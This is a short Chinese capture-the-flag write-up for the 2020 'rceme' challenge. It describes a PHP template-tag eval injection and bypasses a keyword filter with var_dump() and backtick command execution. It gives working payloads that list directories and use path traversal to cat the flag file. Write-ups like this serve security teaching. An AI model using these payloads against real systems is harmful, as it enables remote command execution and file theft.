2020第十三届全国大学生信息安全竞赛创新实践能力赛rceme writerup

审计代码

 

传入参数a,进入parserIfLabel函数

 

发现参数a的模板,a的格式要匹配pattern,如{if:payload}{end if}

 

可知ifstr是a中匹配的第一组的值,即payload中的值

并且经过danger_key函数过滤

继续往下看

Ifstr经过很多过滤替换,最终里面不包含大括号就会进入一个eval语句

漏洞正是出现在这里

往回看danger_key过滤函数

 

好家伙,不仅将一大堆关键字符替换成*,还进行了二次检查

但是可以用var_dump()函数绕过

构造a={if:var_dump(`ls`)}%20{end%20if}

页面出现

 

说明命令成功执行

a={if:var_dump(`ls%20../../../../../`)}%20{end%20if} 进行目录穿越

 

发现flag

a={if:var_dump(`cat%20../../../../../flag`)}%20{end%20if}

查看flag

 


版权声明:本文为m0_49835838原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。